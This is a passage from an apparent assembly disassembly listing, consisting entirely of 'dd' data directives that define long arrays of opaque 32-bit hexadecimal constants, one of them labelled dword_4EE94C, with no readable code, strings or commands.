		dd 0D6012B75h, 0DFE98B2Ch, 0BD0062C2h, 26347E4Fh, 167CF498h
		dd 0E9F43A7Dh, 5CE3C554h, 138DFBBFh, 5B24085h, 31041F55h
		dd 8099D0B5h, 2D895A07h, 71D858C2h, 1BCCAC80h, 6E4D0D30h
		dd 4FF747B9h, 13AF826h,	1DBC0540h, 0D8ED650Ch, 0BAC2E1E2h
		dd 0F12B5471h, 10CDDD5Fh, 3B5B98E6h, 0EE0229ECh, 755E48EFh
		dd 855FA957h, 8BFA76CBh, 0A0392058h, 9D2C537Ah,	58D05D9Bh
		dd 5D7E0D54h, 0CD45CA24h, 9CA1F587h, 0EB89FC11h, 97871C89h
		dd 6A9F5410h, 0FD0CDC3Dh, 618AE14Fh, 0BD13C413h, 865BF298h
		dd 67042FDh, 0F68C0FEh,	62E411Ch, 0FC401726h, 635729h
		dd 0E6363305h, 500A2D12h, 8688125h, 0E90B0765h,	0B7F120F1h
		dd 0F2536614h, 2D45947Ah, 0EBA11F67h, 10BC75A7h, 48ED195h
		dd 0CBC3885Ah, 187458F8h, 0DDE3E2ADh, 2B66975Bh, 406DCEA0h
		dd 1804D326h, 0C132DB00h, 31E9554Fh, 0F7F03DFDh, 0CF2882DFh
		dd 6068B84Ah, 94F0119Fh, 0F51288FEh, 0B45A5B0Bh, 3F34C48Ch
		dd 60BF0F87h, 891ED965h, 2FA1B0FDh, 0A010F65Ch,	9B00017Bh
		dd 0C2E28131h, 0C1157274h, 3A64190Ch, 8F543B14h, 0B6646035h
		dd 7662711Ah, 880D001h,	0D5295D04h, 5498EB5Ah, 619900B9h
		dd 0C9810DB2h, 0AE4830DBh, 49D11E7Ch, 5BA3E142h, 37774D5h
		dd 26E574B1h, 2511721Eh, 0E82967C6h, 16C8605Ah,	2DF03603h
		dd 0E90B0296h, 89E1A264h, 0A75DF9E7h, 6498CDC1h, 3CC15B7Ah
		dd 70C52871h, 53E6C20h,	0E94CC05Dh, 8EC5D7EDh, 0B16046C9h
		dd 0D054048h, 26092491h, 75A17E82h, 0C955ACEh, 0EEF56D58h
		dd 48609A8Eh
		dd 7A7F8E58h, 0A2215830h, 933DD505h, 4FEC0F35h,	7643023Dh
		dd 0AE7F7DE5h, 0E11F6E3Eh, 3CE9E487h, 2D0FD378h, 0F9B45FFBh
		dd 24FD2210h, 35544F5Ah, 0FF16DE5Eh, 60E32638h,	5C835D64h
		dd 189D4AE1h, 278056Eh,	0E937AA0Bh, 0BBC49318h,	0BC13D117h
		dd 4967FB80h, 0E9460BF3h, 0D2148C79h, 0C4E60FBDh, 40CAFE2Fh
		dd 0A18573Eh, 26EA1992h, 30EB3317h, 77C23400h, 0C3382F7Bh
		dd 0BC6E310Ch, 2A3097C4h, 130C3408h, 7AA7D814h,	0A8C1C07h
		dd 1D30CE05h, 2E0C120h,	0D09D3506h, 0A168F96Ch,	0EA88213Dh
		dd 0BF671E7Eh, 0E94CB10h, 0C3809EE8h, 0A526717Ah, 63405849h
		dd 0C020CF25h, 2714C4EAh, 0CD25E91Bh, 88F5FEF5h, 0F709AA92h
		dd 0F4A0DDBh, 0B4EB530h, 31CD2948h, 1774140h, 50055495h
		dd 0F99D2EB5h, 0ACF7486Dh, 534D18CCh, 0D51E15F1h, 0ECC4F44Ch
		dd 0E3BF013Ch, 0E9EEC89Eh, 0BD519EFFh, 4C11D238h, 0D07BD494h
		dd 579CFC5h, 89522D69h,	9282AAEAh, 0C5537E5Dh, 29AB9267h
		dd 49205175h, 4BD89205h, 9657ACA0h, 0C0FA00ADh,	0F78007EFh
		dd 67902CC2h, 0C2B1E9B0h, 7163DC01h, 142F5161h,	8A8431FCh
		dd 5CC24025h, 287AC422h, 82F9FA29h, 0B1435F08h,	0B5DFDF05h
		dd 0B3FC01FBh, 8574B9E5h, 738897B7h, 2B5B06F2h,	6CDAF724h
		dd 0D440A20Ch, 10730C10h, 52A316Bh, 0FBCE3A8h, 983FDCE1h
		dd 13B2426Ch, 0B863F097h, 23ED1C20h, 8E2A66FCh,	0EFB2338Bh
		dd 0B248BA8Ah, 663ABBD0h, 0C6D5CA39h, 5D25506Dh, 599F15D0h
		dd 7DE950B4h, 931844Dh,	5F270568h, 254A3F18h, 543EF926h
		dd 0BEEDE427h, 942D81EAh, 40789840h, 0E308658Ch, 0D00C097Fh
		dd 6D3AEAE9h, 0A91F0FC5h, 0A265EF4Ch, 5388AAF6h, 0A0D005Ch
		dd 5397925h, 0D72401E3h, 218E012h, 0A0400706h, 826911F3h
		dd 0CD17297Ch, 78A27FB9h, 13FA66DFh, 0CC39D668h, 78B7E386h
		dd 7DC02E22h, 9AB28B3h,	4E88740Ch, 1639C9F6h, 1D535BDAh
		dd 0B21CC08h, 98D55358h, 0E7D929B5h, 83263D7Fh,	5F0EBB6Fh
		dd 0C6660291h, 74AE37CEh, 0F9607DE2h, 0D0913EB7h, 2F3313BCh
		dd 16B1BB44h, 0A9907DF2h, 0BA14D920h, 0AD09550h, 707A6368h
		dd 786BBB80h, 5E432FBAh, 0AF6AC24Bh, 6102B9A9h,	85404201h
		dd 3A9BA168h, 8FD3BA0Eh, 9601F22Fh, 708325E1h, 8470B13Eh
		dd 0BE576612h, 5E2ADC1h, 0FBC018AFh, 9A3D2A3Dh,	53A10526h
		dd 6AB8DD72h, 5EC01219h, 6E6DD958h, 17CF04E4h, 1BD413B6h
		dd 165E4C43h, 5E7E13CAh, 55B00B47h, 943F15E5h, 3C92EEBh
		dd 173D38BDh, 5C90D20Dh, 0C1FE12E2h, 7FFABEA9h,	9B49F639h
		dd 0E141B22Bh, 0D8C5B6B3h, 4EE9DEC0h, 0BA63138Fh, 0EE3EDB71h
		dd 515B6600h, 50BDE798h, 966EFA4Bh, 84BB00EDh, 1138229h
		dd 32BDDD5Bh, 0A1CCEF92h, 22345E54h, 2E7521A0h,	131B62E2h
		dd 3AC7570Eh, 0EFE95304h, 9989CAE0h, 0ED7DC9BBh, 15CC2553h
		dd 92090B21h, 0E1ED0151h, 2055794Eh, 1012BD82h,	0D7AA1985h
		dd 3B83C180h, 126D78B8h, 588349E9h, 5F5EF229h, 0BC14B558h
		dd 3DCFB535h, 8505D826h, 0AFD26FE2h, 50E77F44h,	86E9B730h
		dd 18F6B401h, 3DB11389h, 206BE80h, 9508415h, 35405EF7h
		dd 4C3B04CDh, 1B7F7979h, 25678D26h, 61E12112h, 0C0DDCCAh
		dd 0B966A479h, 0FF4D6207h, 5FB94142h, 0E277AFC2h, 0AC1EC381h
		dd 397E5E0Bh, 413968C1h, 0B544AD2Ah, 1D182AE6h,	0E6BA8002h
		dd 6DB32F04h, 0B280D2F7h, 514CD015h, 617E9892h,	7E02EBADh
		dd 66555539h, 0CB2CFFEh, 6E0531E9h, 5FEC0F35h, 974D56CAh
		dd 0BB755CB3h, 2558C83Bh, 0C6D5C03h, 0E95CF753h, 558D995Fh
		dd 9130C659h, 0D2618A02h, 0E0E04527h, 4A1A7C8Ah, 884F7D33h
		dd 540BBF15h, 829A56CCh, 70584E71h, 204110C0h, 23C7A3Bh
		dd 27F830EDh, 0F0E0F5A0h, 68B7D8C9h, 831B043Eh,	966853DAh
		dd 1F13C2B9h, 0C6AC0D63h, 543E140Bh, 0D109FC74h, 685280EDh
		dd 187DF87Fh, 6258C521h, 5625D42Fh, 9AB8F0DBh, 4AFB26B7h
		dd 17C143FAh, 0DDFC1684h, 5E75FAB4h, 0BCD28AAh,	7C4DF26Ah
		dd 38959104h, 0AFB953EAh, 0E868C104h, 176794FEh, 5378AFC3h
		dd 12AB4B68h, 0B68DFE0Ch, 9F5CB1F0h, 0DD09CFDBh, 207725Eh
		dd 0A868ADCAh, 39C05731h, 0C2E10F54h, 2534DB5Dh, 0E93E8D9Eh
		dd 33254A1Fh, 0E691B281h, 0D7684550h, 35F7C926h, 7E2DD17Eh
		dd 7041D272h, 4607643Eh, 0F7098AB0h, 9052FCh, 4344E208h
		dd 0E9451678h, 5F204B2Eh, 0F927D17Ch, 34660AEh,	0E9A04464h
		dd 0B00B7C86h, 5410E92Bh, 11D62548h, 4174B5Ch, 0BE58510Ah
		dd 9C4062CBh, 0C5937468h, 0BF97A0E5h, 0C3E09F89h, 10F4D2F1h
		dd 45138FFCh, 233E2E2h,	0F34EE608h, 0D6BDF0Dh, 0C906CE2h
		dd 58BA83E9h, 2E6EB738h, 0EB143DFDh, 0DD680C46h, 0F5F87D1Ah
		dd 0C1D1F703h, 0F5CD60E5h, 30330E09h, 1EAF5D31h, 7735DB27h
		dd 0AFE9A44Eh, 3455D333h, 0A744AFB0h, 69E9C216h, 81C1A820h
		dd 0D6B3AE17h, 0A5B5845Eh, 0D964AF05h, 0F9DAC295h, 65C0F157h
		dd 12598156h, 10137296h, 5A25FC5Eh, 4AE6D978h, 6AC73050h
		dd 54072CE8h, 52F70EEBh, 502A68B1h, 18CBE66Fh, 0E1CF9363h
		dd 6A7B27A4h, 23D955E3h, 0F129D4D3h, 4296EFB8h,	124B003Eh
		dd 0F6812E20h, 38661441h, 0DF058540h, 0B45FD817h, 111F18EAh
		dd 0E6815A87h, 4F3257D5h, 12C11882h, 0E27D0B30h, 80A05278h
		dd 82BF9BB2h, 30F8827Fh, 64720CEAh, 0A0BE426h, 6463902h
		dd 15AEC003h, 22D22735h, 0F295DC78h, 410B837Fh,	0F93B170Ch
		dd 65FAE41Fh, 50AA001Ch, 81167873h, 6E65E504h, 8CC43DFAh
		dd 7BFEBA80h, 0C01600Ah, 47B9CE7Ah, 3BBE2955h, 7B98AC81h
		dd 0F66E2E71h, 3CB1C80h, 0E3089466h, 25D32FD2h,	32E4D6B4h
		dd 0C2145FE9h, 2E6E5E03h, 8014B24Ah, 5F771173h,	11AD00Eh
		dd 0D678A816h, 833E1CEBh, 55F6E984h, 0EF09FB75h, 5DACE3C4h
		dd 178C730h, 0C937F739h, 0E07348B6h, 954F9D68h,	5B2DFE98h
		dd 1B352528h, 4B5796BDh, 53430367h, 2C135B7h, 9EA72228h
		dd 1753C5CCh, 2F63ECEEh, 32DE5FD0h, 0CC208A0h, 80D87CE0h
		dd 267EEEC0h, 26B5901Ch, 67B023B6h, 6EE09151h, 0C94D343Ch
		dd 0BE5F070Bh, 0C2528427h, 475C2D1Eh, 4DC7310Eh, 0C44008F8h
		dd 5A487466h, 0B174AC5Eh, 5C02AE56h, 7AEF3DE0h,	68755204h
		dd 3BBC2753h, 2932A2C6h, 5B1A1h, 0B1065A68h, 0D452BC5Eh
		dd 0D2C2D860h, 340CE20Ch, 3FBAFCE9h, 0BA314E66h, 93D86C51h
		dd 14695A04h, 0EA186DFCh, 729A4406h, 1009953Fh,	0B806A5D2h
		dd 4A4D2F31h, 0F0250CB0h, 4E5F4462h, 22ABB57h, 3CD7736Bh
		dd 0CF012EFBh, 0E3F51830h, 0AF05EF0h, 0E0A84E4Eh, 906674C5h
		dd 2EEC0F1h, 97E6D03Dh,	62FF7DBAh, 81AB88FCh, 0E9C8BB57h
		dd 7E35A2F3h, 2027B17Fh, 7528265Ch, 9D209D03h, 142590D9h
		dd 0D47A420Ah, 857D8205h, 0B904FB54h, 8DAFB4DCh, 0F883E6Dh
		dd 397294EEh, 36EA80DBh, 7A2F9750h, 2E30F158h, 257808A1h
		dd 0B6285E18h, 7F64377Eh, 0E08FA39h, 40E4C889h,	25E8E45Eh
		dd 4DA0761Eh, 421FA6CDh, 3E479C2Fh, 2BA7402h, 5D224FE9h
		dd 669509C6h, 0B2E5BDFCh, 44B122ADh, 38205DF5h,	7F0B08E0h
		dd 0C705BE98h, 86EA3FAAh, 0E99C88FAh, 2FC0E44Bh, 270569BDh
		dd 1B7D5954h, 0FA9CB049h, 0E9A616ABh, 3138A01Dh, 9AA7F6A0h
		dd 11BBF80h, 21720E75h,	0CF875FFEh, 0F7E095FEh,	0DD12D76Ah
		dd 0EE63F803h, 0D40C1D65h
		dd 95F8B23h, 53829C7Eh,	0D7431F68h, 52167F6Dh, 1C191405h
		dd 2791E025h, 8C50386Eh, 2D685FFBh, 46665152h, 10DDBE34h
		dd 5B20B0AFh, 4AF43164h, 24F822B4h, 3B2AE748h, 0B9FE0325h
		dd 0E64C8C09h, 660A1E11h, 44AC39h, 65F4340Eh, 258EBC1h
		dd 6D3F0198h, 8AE9232Ah, 0F4069F73h, 645E801Ch,	1943E507h
		dd 53C50121h, 0AB5E800h, 96414F8Ch, 0A1E8C676h,	7F9C6814h
		dd 16508242h, 0E37E6023h, 5B9AF2CBh, 4058E37Ah,	5D024B98h
		dd 6DE93028h, 4FED2FCh,	5ED01EC3h, 4BADB929h, 0C01A4E1h
		dd 9CA4B3E9h, 2481647h,	0B0474F82h, 0F0F5BCC0h,	63D15902h
		dd 46B86CE9h, 7ABD904Bh, 982AB958h, 45748756h, 0DA5BE73Fh
		dd 0DAD60AA1h, 18380403h, 0FA215673h, 9092BAD0h, 6F87669h
		dd 951447CEh, 4C0B0C72h, 0F50AD17h, 0B323A45Ah,	7D0E28C6h
		dd 2C15F8B5h, 70EFF301h, 9801C9C3h, 0DA31959Fh,	6CAC895Bh
		dd 0E956044Eh, 68AD913Dh, 0EF356E49h, 0B0ACF484h, 6812605Fh
		dd 0D19D2A30h, 0D4C2C0B5h, 2B4F6661h, 84065A9h,	543225E9h
		dd 0B84CDFDEh, 0DF7E1D9Ah, 5920C62Ch, 0F0286EE0h, 0E92C072Dh
		dd 5A84E908h, 80FBCA87h, 0A215CF22h, 8BBD032Eh,	31FC5D01h
		dd 3B755FFDh, 0D922880h, 7FD25B0Fh, 0B14F2090h,	0F1EFB824h
		dd 31D6001Ch, 2A4F034Dh, 1CFD7F80h, 813B003Ch, 1D093EF1h
		dd 0CD123153h, 644E0E9h, 0E501D3F7h, 7E1F7Ah, 4E587B53h
		dd 1220BC37h, 2407D5F7h, 0AD967D6Dh, 532B892h, 9738A1BAh
		dd 7E80EF3Dh, 0BB1DBC2Fh, 3F4E873Ah, 5A45862Bh,	0FE4A4725h
		dd 0B9ED0016h, 90F6D4Ch, 5ACF2D0h, 0B6CB2F87h, 5806EF00h
		dd 952955D2h, 881E5F0h,	0A7C86F5Ah, 956770E7h, 647259FEh
		dd 845E4B6Eh, 3070FFE0h, 0D3CF29E9h, 1E95BC0Eh,	28C0B1F9h
		dd 0C9FE5BD9h, 0F8E93980h, 2CF6C1BCh, 13AE98EBh, 0EFEA4109h
		dd 82DD3FF9h, 3A95F7BAh, 25A47806h, 365EE0C2h, 0F4996BEFh
		dd 9DF6254Ah, 2E4AEC2h,	0D155C5B1h, 0AD088C48h,	0DA4C3030h
		dd 0DB5C2589h, 2B896BFh, 50570C51h, 782735Dh, 0FB171BE9h
		dd 0E6413275h, 63681345h, 2EA26335h, 5E35EFACh,	77FD4AD9h
		dd 4B4A0B33h, 52409CF3h, 7816CEB9h, 6F11764h, 0BA57C220h
		dd 6061B499h, 7170685Ch, 0F4A88AA8h, 0F3AEDC83h, 0F9F78050h
		dd 0E1490E68h, 0CA40EC3Bh, 2FB79D11h, 8FA02F84h, 55230E25h
		dd 0E6A02EB8h, 0D52D73Fh, 7F1B1C0Bh, 234DE41h, 0F572807Ch
		dd 0AF1EE05Dh, 0D85D81F1h, 5197E3E6h, 450A8310h, 0C044CBCh
		dd 0DEB48539h, 0B24B49EAh, 6D80D262h, 48B913C5h, 0FCECE24Fh
		dd 0E8C82116h, 5D53F220h, 5B16ADCDh, 0DEE1471h,	8F942272h
		dd 6B7CA204h, 49A5B053h, 5B126492h, 0FC1EC601h,	4F9A1041h
		dd 506ECE29h, 86499A69h, 0C9F4881Dh, 2FD93B05h,	59E05B8Bh
		dd 70B9822Ch, 0E07C482Fh, 5AFED83h, 0FF55C1F8h,	9D6D6ADh
		dd 1C47C5C0h, 535024Ah,	1BCC4208h, 0DA44CC0h, 13BA894Ah
		dd 7A3F176h, 25155A0Ah,	68ECC98Dh, 0A3CADE24h, 0F2A70B2Bh
		dd 7DEE2FBEh, 0F23B4546h, 98653E30h, 0EB1B0A86h, 96431EA6h
		dd 0D2F4C9D4h, 5FAA3A5Dh, 7A7FDD62h, 0F7801CB6h, 0F6E7CE12h
		dd 802C7C0h, 8BB55BFAh,	7DB1422Ch, 300ED9E9h, 0D590CB09h
		dd 0F5829BE8h, 2DE16333h, 737DC2A6h, 0CF680967h, 0E66BDEF6h
		dd 0DE55507Eh, 971000CFh, 0EC18167h, 8096C29h, 8E59CD89h
		dd 5D0553C5h, 9DFF8FF5h, 0E8ADEF9Ah, 4B2D27F2h,	5A77D107h
		dd 53D634h, 810A4301h, 9F1C60CAh, 808F0F5Ch, 0F020E288h
		dd 7AB9D89h, 127FAD4h, 0E18159DAh, 3E8D3AE4h, 79A4416Eh
		dd 0A73480B7h, 0D0F6562Ch, 19BC71F6h, 5A440501h, 0D0820382h
		dd 55E61662h, 0DDE98A40h, 6056925Ah, 25008BACh,	539C36C1h
		dd 78C9D8F7h, 0DDAE6268h, 43D1F01Bh, 4957616h, 529069D4h
		dd 0F25A38A8h, 64FEB524h, 37E4BE4Dh, 0FF905968h, 0C5275B48h
		dd 26EA59F6h, 1F355602h, 0FEE5F002h, 0F517BD3Ch, 9FFBD027h
		dd 41601118h, 11097F82h, 4EABE0F5h, 50511753h, 54113B0h
		dd 8D605E36h, 0B2406BF2h, 427828FDh, 958DB05Ah,	0EBC099D9h
		dd 5CC0707Fh, 2A108608h, 87924430h, 0B88B9DB6h,	62617609h
		dd 54004755h, 0C319B7E9h, 0E281420Ch, 17657288h, 75BB6812h
		dd 0C90582B3h, 8451F409h, 0A6CBEB3Dh, 37BB4B00h, 0E9D7319Ah
		dd 5907FB4Eh, 6C74C521h, 0B55F36B0h, 68859365h,	502241E5h
		dd 0CE305F5Bh, 0F362051Eh, 0F87E6E2h, 13C4B252h, 2BBC90EBh
		dd 8036ACD3h, 0C0E9505Fh, 0AF279199h, 58313A65h, 8C6FC214h
		dd 0BF5BB6F9h, 26610C39h, 79E27BAFh, 4360607Fh,	90D3BD62h
		dd 52E0923Fh, 0F5DC600h, 48E2C140h, 0EE4AC303h,	125C076Ch
		dd 47E77AE9h, 274E41AFh, 6F4A5077h, 62B761FCh, 0B4070EAFh
		dd 875B1611h, 88ABA735h, 0E91293BFh, 3040C46Fh,	59685808h
		dd 808BB2Eh, 45177BC0h,	30C729ABh, 6E17E807h, 0EC0138B2h
		dd 5C7F7E55h, 68105F67h, 4FF6B0Fh, 41F43E17h, 0E74A02F7h
		dd 5FFD013Dh, 42C7D390h, 4F393004h, 0C0EA6280h,	86682815h
		dd 649C4550h, 69A33E0Fh, 373382B9h, 9980554Dh, 294CDE03h
		dd 8301589Dh, 0F562A908h, 45B933Eh, 0AD21AA07h,	0B5E2755Bh
		dd 81F10983h, 0E9C1F2C8h, 976A5052h, 34DEBB30h,	0CABBC56Fh
		dd 6DA8AB94h, 0AAEC7B12h, 6A92F037h, 5D05C91Fh,	8E32D74h
		dd 20D47748h, 2B069302h, 30095454h, 0E0E90506h,	71369869h
		dd 0AA2164C1h, 0D18092F2h, 0BB534AEAh, 8060AF8h, 2E3C17Eh
		dd 1C70EF06h, 0C76A17FDh, 5F60F0B4h, 4B41B34Fh,	445A50BAh
		dd 279EF03Bh, 0A8135B30h, 0FBEF325Eh, 82D20820h, 802BC0F7h
		dd 2E8A90F6h, 0C01B8725h, 1A7C7E57h, 1BEA2988h,	249E92E9h
		dd 35BD87F4h, 0BA8AFBEEh, 0E0D15C89h, 3BB5BAF8h, 5707F169h
		dd 691ADABFh, 1F7C7358h, 7C084148h, 45B25D4Fh, 59332078h
		dd 7F67DCF9h, 0DA5A237Ah, 0DF76BA1Ah, 5CBF2DC5h, 766813AAh
		dd 3BE9D042h, 246752Ch,	0DEF04E27h, 36F3EB2Eh, 0AF27882Ah
		dd 24F2D9DEh, 0C8010DBCh, 836C6565h, 0A91B1ACAh, 2007F97Ah
		dd 1C89AA6h, 8844E2EEh,	620C832Ch, 68386143h, 3408B89Ch
		dd 59140B0Ch, 7752FDD6h, 0C0EEE287h, 0EAB83E19h, 0D8310BC5h
		dd 0B4E9819Ch, 5D93BA96h, 0B83DBAF6h, 4A137E7Ch, 48F3CF1Ch
		dd 1B0E4A96h, 3058802Dh, 0EBC6898Eh, 5638F07Bh,	0BF685209h
		dd 254F4609h, 0C346298Bh, 45631C40h, 94B93E0Fh,	6C8EFFD3h
		dd 42DBE90Ch, 0ECA0520Ah, 0D2024C0Dh, 59CA890Fh, 0A03A6356h
		dd 9D49830Ah, 0A1013C71h, 0E934C977h, 84D955C2h, 16DD5794h
		dd 5761F94Eh, 7C0D293Ah, 43D2040Ch, 3EF11B3Bh, 9CCB0704h
		dd 2091F84Ah, 91D19FFDh, 4A9F6861h, 3144CD88h, 0D507D120h
		dd 2D806F7Ch, 0C0EB7242h, 816A121Bh, 0FE1F3E5Fh, 0C93FD3A8h
		dd 0E8F1177Dh, 0C90D27EAh, 0E92D8AECh, 581D8586h, 830463BBh
		dd 73538E27h, 0FA56C4FCh, 0FF417A9Dh, 286B38B4h, 0C7409FC2h
		dd 5EA04C1h, 0BA486568h, 0F5A8DA32h, 5663AFB0h,	0B9284C01h
		dd 7EB7C330h, 0BC4E0328h, 15079303h, 0E1600CC1h, 9E11150Eh
		dd 45EB1719h, 0EEDCF110h, 0C4FB7BCDh, 1180C140h, 11F5CE8h
		dd 938E53D1h, 0A94D222h, 0C2FCC2ABh, 2EFC000h, 81B40750h
		dd 7CEC780h, 757D5FE7h,	0FB429452h, 766C0A12h, 0DA702EE9h
		dd 0B177CB15h, 872D540Eh, 0C900CC25h, 0AC28AFBDh, 2E554324h
		dd 1D0616ACh, 9CB05F30h
dword_4EE94C	dd 0F8880E8Ch, 16F5C54Bh, 40309893h, 7A985725h,	0B87CCD9Ah
		dd 0DBA7F0Fh, 6613E140h, 1C704DB9h, 706C008h, 2143D035h
		dd 0F7054E02h, 400E10E4h, 1D1FFD1Bh, 0BC012EE9h, 4F08EA28h
		dd 0E529BB58h, 9365B9F5h, 0E134E13Eh, 3BF7753Eh, 0A82AC8B1h
		dd 0B68826Fh, 823B5163h, 26CA7747h, 2C9A0155h, 146B5E46h
		dd 7A01E823h, 0E9133162h, 81137AE2h, 2D220D07h,	7EBDF7DEh
		dd 881CEF20h, 0D5DE51EAh, 14FC1C8Dh, 852DDE43h,	0A2C07FECh
		dd 2511E72Bh, 0D7548400h, 0DB50514h, 5E34E333h,	0E9F11209h
		dd 55B74B98h, 4A255252h, 0D52218B1h, 8C4C97A1h,	0EF12D4DFh
		dd 75A1649h, 0BAFC11FFh, 2C261C04h, 0BAD81D73h,	85885E7Dh
		dd 5CED884Dh, 1360E695h, 0F8412E68h, 8C01B851h,	21C26817h
		dd 4092B8E9h, 56433B90h, 0F105811Ch, 40BC14C4h,	0B61D7ED5h
		dd 7118A80Ah, 0FCF8018Bh, 0F500557h, 98C08011h,	6C09845Fh
		dd 5FF660E9h, 930B634Dh, 6A4E5E76h, 0E42207D9h,	0C547E27Bh
		dd 0EE2C50D1h, 4610A018h, 0AAEE61D1h, 6136FE01h, 0F7887FB0h
		dd 263766F7h, 0C4F09204h, 14548997h, 0B26DFA5Eh, 5E5707E3h
		dd 0A2D7F75Fh, 3F20959h, 29A36009h, 9F3B00BBh, 0F0794214h
		dd 0A2C7FCD7h, 0B62E8208h, 846DD52h, 10EBCD32h,	3DC6575Ch
		dd 17192D00h, 0F0016E9Bh, 5E07A105h, 0EEF48668h, 93359E4Fh
		dd 26F1A720h, 55E8B701h, 315E5D68h, 4FF700CCh, 0C5158C02h
		dd 67E8815Bh, 804101A2h, 297B24D7h, 4AA726DCh, 8B8D11Dh
		dd 0BD0B7945h, 0C42090Ah, 60C93A01h, 0AAB98618h, 1D512672h
		dd 0E20F8DDh, 0CB89BF16h, 0BAF500BAh, 91BD54Dh,	32E9C312h
		dd 0CD681C42h, 2EF6C65h, 5CF83F8Eh, 43EEDD09h, 684CED05h
		dd 80BCE618h, 0F201D74Dh, 895ECB76h, 6AE9E9EEh,	443ABE4h
		dd 265FE381h, 3801AB1Fh, 0DE45DFE7h, 11641765h,	62AA2DE9h
		dd 809B3048h, 213C12Fh,	1EE101h, 9A33E930h, 0B20FA292h
		dd 7756B1FAh, 8F61CAB5h, 4F68C935h, 12D9C210h, 4053D168h
		dd 2DE31A08h, 85206372h, 44AF9488h, 8A06C328h, 8F64BA9Ch
		dd 46B9FC82h, 5F212DB2h, 0AA5BEAA4h, 8D0B8C75h,	5F51B2D6h
		dd 552AA395h, 4F571220h, 6F2BEB58h, 0B232D1Dh, 0D0F6478Eh
		dd 75685760h, 302F2E26h, 6E8BA55Fh, 21658D0h, 0B303796Dh
		dd 0FD4026A3h, 8DE1D990h, 373B2508h, 0DDEE5022h, 0D6C2427Dh
		dd 5FCBE2C5h, 815B3503h, 0C73A58CAh, 74DF8034h,	0E93D2908h
		dd 25B34A09h, 0D1E951C1h, 4B887FB4h, 12452D68h,	96240453h
		dd 4F5470EBh, 6B89B1FDh, 0E5852DA6h, 3C8DFF51h,	0B3E3286Bh
		dd 83E98212h, 0C3801FC0h, 9CCEF072h, 12BF0047h,	2957075Bh
		dd 0F49FB7Ch, 575C244Eh, 2349FBA8h, 7E5E2DD5h, 2B6E0BC9h
		dd 2C3E26C5h, 2996F122h, 6934CDAFh, 0E9550B97h,	68536066h
		dd 134FE15h, 874B5B0Fh,	0A8D2F7D3h, 0D7001C08h,	893D774Eh
		dd 4B27E9DDh, 97DBE294h, 2C6E7DAFh, 0FC5E58h, 16B8B6F4h
		dd 9364B496h, 4A0B38C2h, 0EA677D33h, 3B3D6805h,	715113D8h
		dd 0BB654C11h, 181C7A1Dh, 45B4660Fh, 482C3D24h,	0A75F8902h
		dd 0F7DA752Fh, 6B73EEC0h, 0CA011795h, 2708EBFEh, 217DB7A9h
		dd 0E131E904h, 538CF424h, 0F778F24Ah, 681B55F2h, 70DE5BDDh
		dd 92B61803h, 0D135F680h, 892E0881h, 92B27AC0h,	0ED79F10h
		dd 0AEEA8059h, 0EC0569C0h, 66027B2h, 37A4448h, 0FEE285CBh
		dd 438A3C00h, 827F1Ah, 27DF3D50h, 0B207F681h, 4E49A845h
		dd 0EECE031Fh, 55A09624h, 0B62FA322h, 2D38D6C1h, 0A18752E9h
		dd 33C8EA03h, 0C3DA349Fh, 2095D158h, 6E9EE523h,	0A12FF55Dh
		dd 0C30E3F6Fh, 0F750C452h, 0A968EFBh, 0EE6BDC68h, 8918FC69h
		dd 0A1DC233Ah, 4F740581h, 0ACB84921h, 9B5A186Bh, 6D05965Bh
		dd 74FF022Dh, 130CAD29h, 8FF6F1ACh, 6AD5EED2h, 6D9E0901h
		dd 0C6A80DFAh, 74088219h, 0B75792A9h, 4BA924Ah,	322ED240h
		dd 4B62DDE9h, 2F6F870Ah, 0F34464Dh, 125BB2FAh, 5FE3EC12h
		dd 3059B505h, 1D20FC6Ah, 18C3535Fh, 7969EFE9h, 29ADA828h
		dd 761ABFF3h, 53A680FDh, 3064BBh, 0EFBE20B8h, 2945A2A4h
		dd 2428DE4Bh, 765A9746h, 92CCF209h, 0C9D9717Dh,	47AC5D51h
		dd 559AAE42h, 5BA0C1CEh, 0D3287D3Eh, 0F00BA03Dh, 0DE7A3C10h
		dd 0E5312FFh, 0AA37F352h, 0F8828A64h, 12AA0AB7h, 0C40E13EFh
		dd 31A2FB57h, 662D68C2h, 5E26D84Ch, 0B2CA5D3Eh,	0FDE02EC2h
		dd 65F620CEh, 9632FD41h, 92E700F4h, 0E90E0566h,	523A2F25h
		dd 0D3B42048h, 60F02825h, 9D34FAFEh, 96BDC773h,	114140CAh
		dd 9041AFECh, 1AFFF83Fh, 0D41A8D9Ah, 0B705806h,	0F726540Bh
		dd 3A5500D8h, 129F514h,	43F9CA81h, 704249B6h, 45C1696Fh
		dd 0A13A71EFh, 4E42B804h, 7D5DFCC2h, 0AE0D1110h, 94564BDh
		dd 7F81534h, 0FB5F2AF5h, 0BF4F0B10h, 0D4B14922h, 0B4F99363h
		dd 8E4FA54Eh, 4A050728h, 0DE19B9FFh, 416228DAh,	99DCD225h
		dd 4FE495DDh, 0DF969CFEh, 5AE8B901h, 0B42F2A1Eh, 6C02CCF6h
		dd 69E94FB4h, 0FAE5FABh, 0AD7179E5h, 39C4D2ECh,	507644BAh
		dd 8244AABEh, 75FB8EFBh, 385BB04h, 7F385EB5h, 4EF5E90Bh
		dd 81BC0B79h, 79EC57E1h, 0C821F101h, 40C0806h, 8A00447h
		dd 6DBC905Eh, 18090548h, 205BDE89h, 0B78FEEAEh,	0E9E709FAh
		dd 655BB4BFh, 9BF9F68Ah, 5B48B122h, 943B1092h, 1565312h
		dd 4B4D64AAh, 0B210F409h, 39BB1AC0h, 0F42D1F6Ch, 0EB19C2Ah
		dd 0C6001334h, 0F7885958h, 5201CD93h, 7CE993B2h, 0B8A1133Ah
		dd 2CE80746h, 0AAC253C0h, 8CF20C57h, 0EA6A513h,	68E31AF0h
		dd 6F96321Bh, 0CAD0374Bh, 55495900h, 58A56851h,	0C17C796Dh
		dd 2E85A42h, 7D1E2B4Eh,	1545E55Dh, 23800A31h, 9C83C58h
		dd 0F8E7E957h, 80B096DDh, 0F24E7ED4h, 0FD294E6Eh, 64BF4F83h
		dd 0E31112AAh, 0C45D288Dh, 0DB260A12h, 87EE9C1Ch, 4D4E3147h
		dd 22F08DAh, 268D37AFh,	9E25055h, 0A9EE10C3h, 0D900C07Eh
		dd 1753C50h, 8B4D0DDh, 0AE745B25h, 18B4FD6Bh, 0C8BE0F14h
		dd 0AC802A85h, 8334C738h, 1596A3Ch, 321202DFh, 5B77FA10h
		dd 635918FCh, 0D192006Eh, 628168E5h, 0D260B496h, 0B863381Fh
